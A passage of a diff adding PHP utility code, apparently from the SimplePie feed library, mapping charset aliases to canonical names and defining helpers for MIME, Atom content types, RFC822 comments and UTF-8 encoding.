+				return 'IBM273';
+
+			case 'cp274':
+			case 'csibm274':
+			case 'ebcdicbe':
+			case 'ibm274':
+				return 'IBM274';
+
+			case 'cp275':
+			case 'csibm275':
+			case 'ebcdicbr':
+			case 'ibm275':
+				return 'IBM275';
+
+			case 'csibm277':
+			case 'ebcdiccpdk':
+			case 'ebcdiccpno':
+			case 'ibm277':
+				return 'IBM277';
+
+			case 'cp278':
+			case 'csibm278':
+			case 'ebcdiccpfi':
+			case 'ebcdiccpse':
+			case 'ibm278':
+				return 'IBM278';
+
+			case 'cp280':
+			case 'csibm280':
+			case 'ebcdiccpit':
+			case 'ibm280':
+				return 'IBM280';
+
+			case 'cp281':
+			case 'csibm281':
+			case 'ebcdicjpe':
+			case 'ibm281':
+				return 'IBM281';
+
+			case 'cp284':
+			case 'csibm284':
+			case 'ebcdiccpes':
+			case 'ibm284':
+				return 'IBM284';
+
+			case 'cp285':
+			case 'csibm285':
+			case 'ebcdiccpgb':
+			case 'ibm285':
+				return 'IBM285';
+
+			case 'cp290':
+			case 'csibm290':
+			case 'ebcdicjpkana':
+			case 'ibm290':
+				return 'IBM290';
+
+			case 'cp297':
+			case 'csibm297':
+			case 'ebcdiccpfr':
+			case 'ibm297':
+				return 'IBM297';
+
+			case 'cp420':
+			case 'csibm420':
+			case 'ebcdiccpar1':
+			case 'ibm420':
+				return 'IBM420';
+
+			case 'cp423':
+			case 'csibm423':
+			case 'ebcdiccpgr':
+			case 'ibm423':
+				return 'IBM423';
+
+			case 'cp424':
+			case 'csibm424':
+			case 'ebcdiccphe':
+			case 'ibm424':
+				return 'IBM424';
+
+			case '437':
+			case 'cp437':
+			case 'cspc8codepage437':
+			case 'ibm437':
+				return 'IBM437';
+
+			case 'cp500':
+			case 'csibm500':
+			case 'ebcdiccpbe':
+			case 'ebcdiccpch':
+			case 'ibm500':
+				return 'IBM500';
+
+			case 'cp775':
+			case 'cspc775baltic':
+			case 'ibm775':
+				return 'IBM775';
+
+			case '850':
+			case 'cp850':
+			case 'cspc850multilingual':
+			case 'ibm850':
+				return 'IBM850';
+
+			case '851':
+			case 'cp851':
+			case 'csibm851':
+			case 'ibm851':
+				return 'IBM851';
+
+			case '852':
+			case 'cp852':
+			case 'cspcp852':
+			case 'ibm852':
+				return 'IBM852';
+
+			case '855':
+			case 'cp855':
+			case 'csibm855':
+			case 'ibm855':
+				return 'IBM855';
+
+			case '857':
+			case 'cp857':
+			case 'csibm857':
+			case 'ibm857':
+				return 'IBM857';
+
+			case '860':
+			case 'cp860':
+			case 'csibm860':
+			case 'ibm860':
+				return 'IBM860';
+
+			case '861':
+			case 'cpis':
+			case 'cp861':
+			case 'csibm861':
+			case 'ibm861':
+				return 'IBM861';
+
+			case '862':
+			case 'cp862':
+			case 'cspc862latinhebrew':
+			case 'ibm862':
+				return 'IBM862';
+
+			case '863':
+			case 'cp863':
+			case 'csibm863':
+			case 'ibm863':
+				return 'IBM863';
+
+			case 'cp864':
+			case 'csibm864':
+			case 'ibm864':
+				return 'IBM864';
+
+			case '865':
+			case 'cp865':
+			case 'csibm865':
+			case 'ibm865':
+				return 'IBM865';
+
+			case '866':
+			case 'cp866':
+			case 'csibm866':
+			case 'ibm866':
+				return 'IBM866';
+
+			case 'cpar':
+			case 'cp868':
+			case 'csibm868':
+			case 'ibm868':
+				return 'IBM868';
+
+			case '869':
+			case 'cpgr':
+			case 'cp869':
+			case 'csibm869':
+			case 'ibm869':
+				return 'IBM869';
+
+			case 'cp870':
+			case 'csibm870':
+			case 'ebcdiccproece':
+			case 'ebcdiccpyu':
+			case 'ibm870':
+				return 'IBM870';
+
+			case 'cp871':
+			case 'csibm871':
+			case 'ebcdiccpis':
+			case 'ibm871':
+				return 'IBM871';
+
+			case 'cp880':
+			case 'csibm880':
+			case 'ebcdiccyrillic':
+			case 'ibm880':
+				return 'IBM880';
+
+			case 'cp891':
+			case 'csibm891':
+			case 'ibm891':
+				return 'IBM891';
+
+			case 'cp903':
+			case 'csibm903':
+			case 'ibm903':
+				return 'IBM903';
+
+			case '904':
+			case 'cp904':
+			case 'csibbm904':
+			case 'ibm904':
+				return 'IBM904';
+
+			case 'cp905':
+			case 'csibm905':
+			case 'ebcdiccptr':
+			case 'ibm905':
+				return 'IBM905';
+
+			case 'cp918':
+			case 'csibm918':
+			case 'ebcdiccpar2':
+			case 'ibm918':
+				return 'IBM918';
+
+			case 'cp1026':
+			case 'csibm1026':
+			case 'ibm1026':
+				return 'IBM1026';
+
+			case 'ibm1047':
+			case 'ibm1047':
+				return 'IBM1047';
+
+			case 'csiso143iecp271':
+			case 'iecp271':
+			case 'isoir143':
+				return 'IEC_P27-1';
+
+			case 'csiso49inis':
+			case 'inis':
+			case 'isoir49':
+				return 'INIS';
+
+			case 'csiso50inis8':
+			case 'inis8':
+			case 'isoir50':
+				return 'INIS-8';
+
+			case 'csiso51iniscyrillic':
+			case 'iniscyrillic':
+			case 'isoir51':
+				return 'INIS-cyrillic';
+
+			case 'csinvariant':
+			case 'invariant':
+				return 'INVARIANT';
+
+			case 'iso2022cn':
+				return 'ISO-2022-CN';
+
+			case 'iso2022cnext':
+				return 'ISO-2022-CN-EXT';
+
+			case 'csiso2022jp':
+			case 'iso2022jp':
+				return 'ISO-2022-JP';
+
+			case 'csiso2022jp2':
+			case 'iso2022jp2':
+				return 'ISO-2022-JP-2';
+
+			case 'csiso2022kr':
+			case 'iso2022kr':
+				return 'ISO-2022-KR';
+
+			case 'cswindows30latin1':
+			case 'iso88591windows30latin1':
+				return 'ISO-8859-1-Windows-3.0-Latin-1';
+
+			case 'cswindows31latin1':
+			case 'iso88591windows31latin1':
+				return 'ISO-8859-1-Windows-3.1-Latin-1';
+
+			case 'csisolatin2':
+			case 'iso88592':
+			case 'isoir101':
+			case 'iso88592':
+			case 'iso885921987':
+			case 'l2':
+			case 'latin2':
+				return 'ISO-8859-2';
+
+			case 'cswindows31latin2':
+			case 'iso88592windowslatin2':
+				return 'ISO-8859-2-Windows-Latin-2';
+
+			case 'csisolatin3':
+			case 'iso88593':
+			case 'isoir109':
+			case 'iso88593':
+			case 'iso885931988':
+			case 'l3':
+			case 'latin3':
+				return 'ISO-8859-3';
+
+			case 'csisolatin4':
+			case 'iso88594':
+			case 'isoir110':
+			case 'iso88594':
+			case 'iso885941988':
+			case 'l4':
+			case 'latin4':
+				return 'ISO-8859-4';
+
+			case 'csisolatincyrillic':
+			case 'cyrillic':
+			case 'iso88595':
+			case 'isoir144':
+			case 'iso88595':
+			case 'iso885951988':
+				return 'ISO-8859-5';
+
+			case 'arabic':
+			case 'asmo708':
+			case 'csisolatinarabic':
+			case 'ecma114':
+			case 'iso88596':
+			case 'isoir127':
+			case 'iso88596':
+			case 'iso885961987':
+				return 'ISO-8859-6';
+
+			case 'csiso88596e':
+			case 'iso88596e':
+			case 'iso88596e':
+				return 'ISO-8859-6-E';
+
+			case 'csiso88596i':
+			case 'iso88596i':
+			case 'iso88596i':
+				return 'ISO-8859-6-I';
+
+			case 'csisolatingreek':
+			case 'ecma118':
+			case 'elot928':
+			case 'greek':
+			case 'greek8':
+			case 'iso88597':
+			case 'isoir126':
+			case 'iso88597':
+			case 'iso885971987':
+				return 'ISO-8859-7';
+
+			case 'csisolatinhebrew':
+			case 'hebrew':
+			case 'iso88598':
+			case 'isoir138':
+			case 'iso88598':
+			case 'iso885981988':
+				return 'ISO-8859-8';
+
+			case 'csiso88598e':
+			case 'iso88598e':
+			case 'iso88598e':
+				return 'ISO-8859-8-E';
+
+			case 'csiso88598i':
+			case 'iso88598i':
+			case 'iso88598i':
+				return 'ISO-8859-8-I';
+
+			case 'cswindows31latin5':
+			case 'iso88599windowslatin5':
+				return 'ISO-8859-9-Windows-Latin-5';
+
+			case 'csisolatin6':
+			case 'iso885910':
+			case 'isoir157':
+			case 'iso8859101992':
+			case 'l6':
+			case 'latin6':
+				return 'ISO-8859-10';
+
+			case 'iso885913':
+				return 'ISO-8859-13';
+
+			case 'iso885914':
+			case 'isoceltic':
+			case 'isoir199':
+			case 'iso885914':
+			case 'iso8859141998':
+			case 'l8':
+			case 'latin8':
+				return 'ISO-8859-14';
+
+			case 'iso885915':
+			case 'iso885915':
+			case 'latin9':
+				return 'ISO-8859-15';
+
+			case 'iso885916':
+			case 'isoir226':
+			case 'iso885916':
+			case 'iso8859162001':
+			case 'l10':
+			case 'latin10':
+				return 'ISO-8859-16';
+
+			case 'iso10646j1':
+				return 'ISO-10646-J-1';
+
+			case 'csunicode':
+			case 'iso10646ucs2':
+				return 'ISO-10646-UCS-2';
+
+			case 'csucs4':
+			case 'iso10646ucs4':
+				return 'ISO-10646-UCS-4';
+
+			case 'csunicodeascii':
+			case 'iso10646ucsbasic':
+				return 'ISO-10646-UCS-Basic';
+
+			case 'csunicodelatin1':
+			case 'iso10646':
+			case 'iso10646unicodelatin1':
+				return 'ISO-10646-Unicode-Latin1';
+
+			case 'csiso10646utf1':
+			case 'iso10646utf1':
+				return 'ISO-10646-UTF-1';
+
+			case 'csiso115481':
+			case 'iso115481':
+			case 'iso115481':
+			case 'isotr115481':
+				return 'ISO-11548-1';
+
+			case 'csiso90':
+			case 'isoir90':
+				return 'iso-ir-90';
+
+			case 'csunicodeibm1261':
+			case 'isounicodeibm1261':
+				return 'ISO-Unicode-IBM-1261';
+
+			case 'csunicodeibm1264':
+			case 'isounicodeibm1264':
+				return 'ISO-Unicode-IBM-1264';
+
+			case 'csunicodeibm1265':
+			case 'isounicodeibm1265':
+				return 'ISO-Unicode-IBM-1265';
+
+			case 'csunicodeibm1268':
+			case 'isounicodeibm1268':
+				return 'ISO-Unicode-IBM-1268';
+
+			case 'csunicodeibm1276':
+			case 'isounicodeibm1276':
+				return 'ISO-Unicode-IBM-1276';
+
+			case 'csiso646basic1983':
+			case 'iso646basic1983':
+			case 'ref':
+				return 'ISO_646.basic:1983';
+
+			case 'csiso2intlrefversion':
+			case 'irv':
+			case 'isoir2':
+			case 'iso646irv1983':
+				return 'ISO_646.irv:1983';
+
+			case 'csiso2033':
+			case 'e13b':
+			case 'isoir98':
+			case 'iso20331983':
+				return 'ISO_2033-1983';
+
+			case 'csiso5427cyrillic':
+			case 'isoir37':
+			case 'iso5427':
+				return 'ISO_5427';
+
+			case 'isoir54':
+			case 'iso5427cyrillic1981':
+			case 'iso54271981':
+				return 'ISO_5427:1981';
+
+			case 'csiso5428greek':
+			case 'isoir55':
+			case 'iso54281980':
+				return 'ISO_5428:1980';
+
+			case 'csiso6937add':
+			case 'isoir152':
+			case 'iso6937225':
+				return 'ISO_6937-2-25';
+
+			case 'csisotextcomm':
+			case 'isoir142':
+			case 'iso69372add':
+				return 'ISO_6937-2-add';
+
+			case 'csiso8859supp':
+			case 'isoir154':
+			case 'iso8859supp':
+			case 'latin125':
+				return 'ISO_8859-supp';
+
+			case 'csiso10367box':
+			case 'isoir155':
+			case 'iso10367box':
+				return 'ISO_10367-box';
+
+			case 'csiso15italian':
+			case 'isoir15':
+			case 'iso646it':
+			case 'it':
+				return 'IT';
+
+			case 'csiso13jisc6220jp':
+			case 'isoir13':
+			case 'jisc62201969':
+			case 'jisc62201969jp':
+			case 'katakana':
+			case 'x02017':
+				return 'JIS_C6220-1969-jp';
+
+			case 'csiso14jisc6220ro':
+			case 'isoir14':
+			case 'iso646jp':
+			case 'jisc62201969ro':
+			case 'jp':
+				return 'JIS_C6220-1969-ro';
+
+			case 'csiso42jisc62261978':
+			case 'isoir42':
+			case 'jisc62261978':
+				return 'JIS_C6226-1978';
+
+			case 'csiso87jisx0208':
+			case 'isoir87':
+			case 'jisc62261983':
+			case 'jisx02081983':
+			case 'x0208':
+				return 'JIS_C6226-1983';
+
+			case 'csiso91jisc62291984a':
+			case 'isoir91':
+			case 'jisc62291984a':
+			case 'jpocra':
+				return 'JIS_C6229-1984-a';
+
+			case 'csiso92jisc62991984b':
+			case 'isoir92':
+			case 'iso646jpocrb':
+			case 'jisc62291984b':
+			case 'jpocrb':
+				return 'JIS_C6229-1984-b';
+
+			case 'csiso93jis62291984badd':
+			case 'isoir93':
+			case 'jisc62291984badd':
+			case 'jpocrbadd':
+				return 'JIS_C6229-1984-b-add';
+
+			case 'csiso94jis62291984hand':
+			case 'isoir94':
+			case 'jisc62291984hand':
+			case 'jpocrhand':
+				return 'JIS_C6229-1984-hand';
+
+			case 'csiso95jis62291984handadd':
+			case 'isoir95':
+			case 'jisc62291984handadd':
+			case 'jpocrhandadd':
+				return 'JIS_C6229-1984-hand-add';
+
+			case 'csiso96jisc62291984kana':
+			case 'isoir96':
+			case 'jisc62291984kana':
+				return 'JIS_C6229-1984-kana';
+
+			case 'csjisencoding':
+			case 'jisencoding':
+				return 'JIS_Encoding';
+
+			case 'cshalfwidthkatakana':
+			case 'jisx0201':
+			case 'x0201':
+				return 'JIS_X0201';
+
+			case 'csiso159jisx02121990':
+			case 'isoir159':
+			case 'jisx02121990':
+			case 'x0212':
+				return 'JIS_X0212-1990';
+
+			case 'csiso141jusib1002':
+			case 'isoir141':
+			case 'iso646yu':
+			case 'js':
+			case 'jusib1002':
+			case 'yu':
+				return 'JUS_I.B1.002';
+
+			case 'csiso147macedonian':
+			case 'isoir147':
+			case 'jusib1003mac':
+			case 'macedonian':
+				return 'JUS_I.B1.003-mac';
+
+			case 'csiso146serbian':
+			case 'isoir146':
+			case 'jusib1003serb':
+			case 'serbian':
+				return 'JUS_I.B1.003-serb';
+
+			case 'koi7switched':
+				return 'KOI7-switched';
+
+			case 'cskoi8r':
+			case 'koi8r':
+				return 'KOI8-R';
+
+			case 'koi8u':
+				return 'KOI8-U';
+
+			case 'csksc5636':
+			case 'iso646kr':
+			case 'ksc5636':
+				return 'KSC5636';
+
+			case 'cskz1048':
+			case 'kz1048':
+			case 'rk1048':
+			case 'strk10482002':
+				return 'KZ-1048';
+
+			case 'csiso19latingreek':
+			case 'isoir19':
+			case 'latingreek':
+				return 'latin-greek';
+
+			case 'csiso27latingreek1':
+			case 'isoir27':
+			case 'latingreek1':
+				return 'Latin-greek-1';
+
+			case 'csiso158lap':
+			case 'isoir158':
+			case 'lap':
+			case 'latinlap':
+				return 'latin-lap';
+
+			case 'csmacintosh':
+			case 'mac':
+			case 'macintosh':
+				return 'macintosh';
+
+			case 'csmicrosoftpublishing':
+			case 'microsoftpublishing':
+				return 'Microsoft-Publishing';
+
+			case 'csmnem':
+			case 'mnem':
+				return 'MNEM';
+
+			case 'csmnemonic':
+			case 'mnemonic':
+				return 'MNEMONIC';
+
+			case 'csiso86hungarian':
+			case 'hu':
+			case 'isoir86':
+			case 'iso646hu':
+			case 'msz77953':
+				return 'MSZ_7795.3';
+
+			case 'csnatsdano':
+			case 'isoir91':
+			case 'natsdano':
+				return 'NATS-DANO';
+
+			case 'csnatsdanoadd':
+			case 'isoir92':
+			case 'natsdanoadd':
+				return 'NATS-DANO-ADD';
+
+			case 'csnatssefi':
+			case 'isoir81':
+			case 'natssefi':
+				return 'NATS-SEFI';
+
+			case 'csnatssefiadd':
+			case 'isoir82':
+			case 'natssefiadd':
+				return 'NATS-SEFI-ADD';
+
+			case 'csiso151cuba':
+			case 'cuba':
+			case 'isoir151':
+			case 'iso646cu':
+			case 'ncnc001081':
+				return 'NC_NC00-10:81';
+
+			case 'csiso69french':
+			case 'fr':
+			case 'isoir69':
+			case 'iso646fr':
+			case 'nfz62010':
+				return 'NF_Z_62-010';
+
+			case 'csiso25french':
+			case 'isoir25':
+			case 'iso646fr1':
+			case 'nfz620101973':
+				return 'NF_Z_62-010_(1973)';
+
+			case 'csiso60danishnorwegian':
+			case 'csiso60norwegian1':
+			case 'isoir60':
+			case 'iso646no':
+			case 'no':
+			case 'ns45511':
+				return 'NS_4551-1';
+
+			case 'csiso61norwegian2':
+			case 'isoir61':
+			case 'iso646no2':
+			case 'no2':
+			case 'ns45512':
+				return 'NS_4551-2';
+
+			case 'osdebcdicdf03irv':
+				return 'OSD_EBCDIC_DF03_IRV';
+
+			case 'osdebcdicdf041':
+				return 'OSD_EBCDIC_DF04_1';
+
+			case 'osdebcdicdf0415':
+				return 'OSD_EBCDIC_DF04_15';
+
+			case 'cspc8danishnorwegian':
+			case 'pc8danishnorwegian':
+				return 'PC8-Danish-Norwegian';
+
+			case 'cspc8turkish':
+			case 'pc8turkish':
+				return 'PC8-Turkish';
+
+			case 'csiso16portuguese':
+			case 'isoir16':
+			case 'iso646pt':
+			case 'pt':
+				return 'PT';
+
+			case 'csiso84portuguese2':
+			case 'isoir84':
+			case 'iso646pt2':
+			case 'pt2':
+				return 'PT2';
+
+			case 'cp154':
+			case 'csptcp154':
+			case 'cyrillicasian':
+			case 'pt154':
+			case 'ptcp154':
+				return 'PTCP154';
+
+			case 'scsu':
+				return 'SCSU';
+
+			case 'csiso10swedish':
+			case 'fi':
+			case 'isoir10':
+			case 'iso646fi':
+			case 'iso646se':
+			case 'se':
+			case 'sen850200b':
+				return 'SEN_850200_B';
+
+			case 'csiso11swedishfornames':
+			case 'isoir11':
+			case 'iso646se2':
+			case 'se2':
+			case 'sen850200c':
+				return 'SEN_850200_C';
+
+			case 'csshiftjis':
+			case 'mskanji':
+			case 'shiftjis':
+				return 'Shift_JIS';
+
+			case 'csiso102t617bit':
+			case 'isoir102':
+			case 't617bit':
+				return 'T.61-7bit';
+
+			case 'csiso103t618bit':
+			case 'isoir103':
+			case 't61':
+			case 't618bit':
+				return 'T.61-8bit';
+
+			case 'csiso128t101g2':
+			case 'isoir128':
+			case 't101g2':
+				return 'T.101-G2';
+
+			case 'cstscii':
+			case 'tscii':
+				return 'TSCII';
+
+			case 'csunicode11':
+			case 'unicode11':
+				return 'UNICODE-1-1';
+
+			case 'csunicode11utf7':
+			case 'unicode11utf7':
+				return 'UNICODE-1-1-UTF-7';
+
+			case 'csunknown8bit':
+			case 'unknown8bit':
+				return 'UNKNOWN-8BIT';
+
+			case 'ansix341968':
+			case 'ansix341986':
+			case 'ascii':
+			case 'cp367':
+			case 'csascii':
+			case 'ibm367':
+			case 'isoir6':
+			case 'iso646us':
+			case 'iso646irv1991':
+			case 'us':
+			case 'usascii':
+				return 'US-ASCII';
+
+			case 'csusdk':
+			case 'usdk':
+				return 'us-dk';
+
+			case 'utf7':
+				return 'UTF-7';
+
+			case 'utf8':
+				return 'UTF-8';
+
+			case 'utf16':
+				return 'UTF-16';
+
+			case 'utf16be':
+				return 'UTF-16BE';
+
+			case 'utf16le':
+				return 'UTF-16LE';
+
+			case 'utf32':
+				return 'UTF-32';
+
+			case 'utf32be':
+				return 'UTF-32BE';
+
+			case 'utf32le':
+				return 'UTF-32LE';
+
+			case 'csventurainternational':
+			case 'venturainternational':
+				return 'Ventura-International';
+
+			case 'csventuramath':
+			case 'venturamath':
+				return 'Ventura-Math';
+
+			case 'csventuraus':
+			case 'venturaus':
+				return 'Ventura-US';
+
+			case 'csiso70videotexsupp1':
+			case 'isoir70':
+			case 'videotexsuppl':
+				return 'videotex-suppl';
+
+			case 'csviqr':
+			case 'viqr':
+				return 'VIQR';
+
+			case 'csviscii':
+			case 'viscii':
+				return 'VISCII';
+
+			case 'cswindows31j':
+			case 'windows31j':
+				return 'Windows-31J';
+
+			case 'iso885911':
+			case 'tis620':
+				return 'Windows-874';
+
+			case 'cseuckr':
+			case 'euckr':
+			case 'windows949':
+			case 'csksc56011987':
+			case 'isoir149':
+			case 'korean':
+			case 'ksc5601':
+			case 'ksc56011987':
+			case 'ksc56011989':
+				return 'Windows-949';
+
+			case 'windows1250':
+				return 'windows-1250';
+
+			case 'windows1251':
+				return 'windows-1251';
+
+			case 'cp819':
+			case 'csisolatin1':
+			case 'ibm819':
+			case 'iso88591':
+			case 'isoir100':
+			case 'iso885911987':
+			case 'l1':
+			case 'latin1':
+			case 'windows1252':
+				return 'Windows-1252';
+
+			case 'windows1252':
+				return 'windows-1252';
+
+			case 'windows1253':
+				return 'windows-1253';
+
+			case 'csisolatin5':
+			case 'iso88599':
+			case 'isoir148':
+			case 'iso885991989':
+			case 'l5':
+			case 'latin5':
+			case 'windows1254':
+				return 'Windows-1254';
+
+			case 'windows1254':
+				return 'windows-1254';
+
+			case 'windows1255':
+				return 'windows-1255';
+
+			case 'windows1256':
+				return 'windows-1256';
+
+			case 'windows1257':
+				return 'windows-1257';
+
+			case 'windows1258':
+				return 'windows-1258';
+
+			default:
+				return $charset;
+		}
+	}
+
+	function get_curl_version()
+	{
+		if (is_array($curl = curl_version()))
+		{
+			$curl = $curl['version'];
+		}
+		elseif (substr($curl, 0, 5) == 'curl/')
+		{
+			$curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5));
+		}
+		elseif (substr($curl, 0, 8) == 'libcurl/')
+		{
+			$curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8));
+		}
+		else
+		{
+			$curl = 0;
+		}
+		return $curl;
+	}
+
+	function is_subclass_of($class1, $class2)
+	{
+		if (func_num_args() != 2)
+		{
+			trigger_error('Wrong parameter count for SimplePie_Misc::is_subclass_of()', E_USER_WARNING);
+		}
+		elseif (version_compare(PHP_VERSION, '5.0.3', '>=') || is_object($class1))
+		{
+			return is_subclass_of($class1, $class2);
+		}
+		elseif (is_string($class1) && is_string($class2))
+		{
+			if (class_exists($class1))
+			{
+				if (class_exists($class2))
+				{
+					$class2 = strtolower($class2);
+					while ($class1 = strtolower(get_parent_class($class1)))
+					{
+						if ($class1 == $class2)
+						{
+							return true;
+						}
+					}
+				}
+			}
+			else
+			{
+				trigger_error('Unknown class passed as parameter', E_USER_WARNNG);
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Strip HTML comments
+	 *
+	 * @access public
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	function strip_comments($data)
+	{
+		$output = '';
+		while (($start = strpos($data, '<!--')) !== false)
+		{
+			$output .= substr($data, 0, $start);
+			if (($end = strpos($data, '-->', $start)) !== false)
+			{
+				$data = substr_replace($data, '', 0, $end + 3);
+			}
+			else
+			{
+				$data = '';
+			}
+		}
+		return $output . $data;
+	}
+
+	function parse_date($dt)
+	{
+		$parser = SimplePie_Parse_Date::get();
+		return $parser->parse($dt);
+	}
+
+	/**
+	 * Decode HTML entities
+	 *
+	 * @static
+	 * @access public
+	 * @param string $data Input data
+	 * @return string Output data
+	 */
+	function entities_decode($data)
+	{
+		$decoder =& new SimplePie_Decode_HTML_Entities($data);
+		return $decoder->parse();
+	}
+
+	/**
+	 * Remove RFC822 comments
+	 *
+	 * @access public
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	function uncomment_rfc822($string)
+	{
+		$string = (string) $string;
+		$position = 0;
+		$length = strlen($string);
+		$depth = 0;
+
+		$output = '';
+
+		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
+		{
+			$output .= substr($string, $position, $pos - $position);
+			$position = $pos + 1;
+			if ($string[$pos - 1] !== '\\')
+			{
+				$depth++;
+				while ($depth && $position < $length)
+				{
+					$position += strcspn($string, '()', $position);
+					if ($string[$position - 1] === '\\')
+					{
+						$position++;
+						continue;
+					}
+					elseif (isset($string[$position]))
+					{
+						switch ($string[$position])
+						{
+							case '(':
+								$depth++;
+								break;
+
+							case ')':
+								$depth--;
+								break;
+						}
+						$position++;
+					}
+					else
+					{
+						break;
+					}
+				}
+			}
+			else
+			{
+				$output .= '(';
+			}
+		}
+		$output .= substr($string, $position);
+
+		return $output;
+	}
+
+	function parse_mime($mime)
+	{
+		if (($pos = strpos($mime, ';')) === false)
+		{
+			return trim($mime);
+		}
+		else
+		{
+			return trim(substr($mime, 0, $pos));
+		}
+	}
+
+	function htmlspecialchars_decode($string, $quote_style)
+	{
+		if (function_exists('htmlspecialchars_decode'))
+		{
+			return htmlspecialchars_decode($string, $quote_style);
+		}
+		else
+		{
+			return strtr($string, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
+		}
+	}
+
+	function atom_03_construct_type($attribs)
+	{
+		if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode']) == 'base64'))
+		{
+			$mode = SIMPLEPIE_CONSTRUCT_BASE64;
+		}
+		else
+		{
+			$mode = SIMPLEPIE_CONSTRUCT_NONE;
+		}
+		if (isset($attribs['']['type']))
+		{
+			switch (strtolower(trim($attribs['']['type'])))
+			{
+				case 'text':
+				case 'text/plain':
+					return SIMPLEPIE_CONSTRUCT_TEXT | $mode;
+
+				case 'html':
+				case 'text/html':
+					return SIMPLEPIE_CONSTRUCT_HTML | $mode;
+
+				case 'xhtml':
+				case 'application/xhtml+xml':
+					return SIMPLEPIE_CONSTRUCT_XHTML | $mode;
+
+				default:
+					return SIMPLEPIE_CONSTRUCT_NONE | $mode;
+			}
+		}
+		else
+		{
+			return SIMPLEPIE_CONSTRUCT_TEXT | $mode;
+		}
+	}
+
+	function atom_10_construct_type($attribs)
+	{
+		if (isset($attribs['']['type']))
+		{
+			switch (strtolower(trim($attribs['']['type'])))
+			{
+				case 'text':
+					return SIMPLEPIE_CONSTRUCT_TEXT;
+
+				case 'html':
+					return SIMPLEPIE_CONSTRUCT_HTML;
+
+				case 'xhtml':
+					return SIMPLEPIE_CONSTRUCT_XHTML;
+
+				default:
+					return SIMPLEPIE_CONSTRUCT_NONE;
+			}
+		}
+		return SIMPLEPIE_CONSTRUCT_TEXT;
+	}
+
+	function atom_10_content_construct_type($attribs)
+	{
+		if (isset($attribs['']['type']))
+		{
+			$type = strtolower(trim($attribs['']['type']));
+			switch ($type)
+			{
+				case 'text':
+					return SIMPLEPIE_CONSTRUCT_TEXT;
+
+				case 'html':
+					return SIMPLEPIE_CONSTRUCT_HTML;
+
+				case 'xhtml':
+					return SIMPLEPIE_CONSTRUCT_XHTML;
+			}
+			if (in_array(substr($type, -4), array('+xml', '/xml')) || substr($type, 0, 5) == 'text/')
+			{
+				return SIMPLEPIE_CONSTRUCT_NONE;
+			}
+			else
+			{
+				return SIMPLEPIE_CONSTRUCT_BASE64;
+			}
+		}
+		else
+		{
+			return SIMPLEPIE_CONSTRUCT_TEXT;
+		}
+	}
+
+	function is_isegment_nz_nc($string)
+	{
+		return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string);
+	}
+
+	function space_seperated_tokens($string)
+	{
+		$space_characters = "\x20\x09\x0A\x0B\x0C\x0D";
+		$string_length = strlen($string);
+
+		$position = strspn($string, $space_characters);
+		$tokens = array();
+
+		while ($position < $string_length)
+		{
+			$len = strcspn($string, $space_characters, $position);
+			$tokens[] = substr($string, $position, $len);
+			$position += $len;
+			$position += strspn($string, $space_characters, $position);
+		}
+
+		return $tokens;
+	}
+
+	function array_unique($array)
+	{
+		if (version_compare(PHP_VERSION, '5.2', '>='))
+		{
+			return array_unique($array);
+		}
+		else
+		{
+			$array = (array) $array;
+			$new_array = array();
+			$new_array_strings = array();
+			foreach ($array as $key => $value)
+			{
+				if (is_object($value))
+				{
+					if (method_exists($value, '__toString'))
+					{
+						$cmp = $value->__toString();
+					}
+					else
+					{
+						trigger_error('Object of class ' . get_class($value) . ' could not be converted to string', E_USER_ERROR);
+					}
+				}
+				elseif (is_array($value))
+				{
+					$cmp = (string) reset($value);
+				}
+				else
+				{
+					$cmp = (string) $value;
+				}
+				if (!in_array($cmp, $new_array_strings))
+				{
+					$new_array[$key] = $value;
+					$new_array_strings[] = $cmp;
+				}
+			}
+			return $new_array;
+		}
+	}
+
+	/**
+	 * Converts a unicode codepoint to a UTF-8 character
+	 *
+	 * @static
+	 * @access public
+	 * @param int $codepoint Unicode codepoint
+	 * @return string UTF-8 character
+	 */
+	function codepoint_to_utf8($codepoint)
+	{
+		$codepoint = (int) $codepoint;
+		if ($codepoint < 0)
+		{
+			return false;
+		}
+		else if ($codepoint <= 0x7f)
+		{
+			return chr($codepoint);
+		}
+		else if ($codepoint <= 0x7ff)
+		{
+			return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else if ($codepoint <= 0xffff)
+		{
+			return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else if ($codepoint <= 0x10ffff)
+		{
+			return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else
+		{
+			// U+FFFD REPLACEMENT CHARACTER
+			return "\xEF\xBF\xBD";
+		}
+	}
+
+	/**
+	 * Re-implementation of PHP 5's stripos()
+	 *
+	 * Returns the numeric position of the first occurrence of needle in the
+	 * haystack string.
+	 *
+	 * @static
+	 * @access string
+	 * @param object $haystack
+	 * @param string $needle Note that the needle may be a string of one or more
+	 *     characters. If needle is not a string, it is converted to an integer
+	 *     and applied as the ordinal value of a character.
+	 * @param int $offset The optional offset parameter allows you to specify which
+	 *     character in haystack to start searching. The position returned is still
+	 *     relative to the beginning of haystack.
+	 * @return bool If needle is not found, stripos() will return boolean false.
+	 */
+	function stripos($haystack, $needle, $offset = 0)
+	{
